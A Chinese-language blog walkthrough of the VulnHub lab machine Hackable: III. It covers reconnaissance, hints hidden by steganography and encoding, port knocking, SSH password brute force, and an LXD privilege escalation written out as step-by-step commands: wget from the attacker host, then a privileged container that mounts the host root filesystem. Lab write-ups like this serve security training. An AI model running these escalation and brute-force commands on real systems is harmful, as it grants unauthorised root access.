vulnhub靶场之HACKABLE: III

发布时间 2023-03-22 19:08:11作者: upfine

准备:

攻击机:虚拟机kali、本机win10。

靶机:Hackable: III,下载地址:https://download.vulnhub.com/hackable/hackable3.ova,下载后直接vbox打开即可。

知识点:lxd提权、hydra爆破、图片隐藏信息获取、端口敲门(knock)。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.5.0/24,获得靶机地址:192.168.5.230。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.230,显示开放了80端口,开启了http服务。

web服务-信息收集:

访问其web服务的源代码信息,在其源代码信息中发现提示信息,根据提示信息猜测可能存在以下账户:jubiscleudo和hackable3,一个登录界面地址:http://192.168.5.230/login_page/login.html。

在登录界面中进行正常登录时会返回源码信息,在返回的源码信息中发现了一个图片文件:3.jpg,以及一个包含的文件config.php。

访问该图片并进行保留,使用steghide查看隐藏的文件信息:steghide info 3.jpg并读取下文件信息内容:steghide extract -sf 3.jpg,发现端口号:65535。

访问config.php发现提示信息,告诉我们root账户不需要密码,这个有待验证,先暂时放这。

目录扫描:

使用dirsearch进行目录扫描,命令:dirsearch -u http://192.168.5.230 -e * ,发现存在/backup、/config、/cs目录和其他一些文件。

访问:http://192.168.5.230/backup/,发现wordlist.txt文件,猜测是密码字典,保存下来。

访问:http://192.168.5.230/config/,发现1.txt文件,文件内容是base64加密的字符串:MTAwMDA=,解密后得到端口:10000。

访问:http://192.168.5.230/css/,发现2.txt文件,在文件中发现加密信息:++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>------------------....,在解密网站:http://esoteric.sange.fi/brainfuck/impl/interp/i.html进行解密后的端口:4444。

加上刚开始的提示信息:activate the port knocking,所以我们尝试使用获得端口进行敲门,命令:knock -v 192.168.5.230 10000 4444 65535(端口顺序是文件名的1、2、3顺序),然后在对靶机进行扫描:nmap -T4 -sV -p- -A 192.168.5.230,发现开放的22端口。

获取shell:

使用收集到的账户信息:jubiscleudo、hackable3和密码字典进行爆破,成功获得账户和密码:jubiscleudo/onlymy。

使用获得账户和密码进行ssh连接,命令:ssh jubiscleudo@192.168.5.230,成功获得shell权限。

横向渗透:

经过一番查找在/var/www/html目录下发现一个隐藏文件:.backup_config.php,读取该文件内容获取到hackable_3账户的密码:TrOLLED_3。

使用获得的账户和密码信息进行登录:hackable_3/TrOLLED_3,成功登录到hackable_3账户。

提权:

在hackable_3账户下发现其具有lxd权限,那就可以尝试使用lxd提权。

首先在这个网站:https://github.com/saghul/lxd-alpine-builder.git下载tar.gz文件并上传到靶机,命令:wget http://192.168.5.226:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz。然后在依次执行如下命令,即可成功获得root权限。

lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage  
lxd init   #基本默认配置,进行回车就行
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

获得root权限后,在/mnt/root/root目录下发现root.txt文件,读取该文件成功获取到flag值。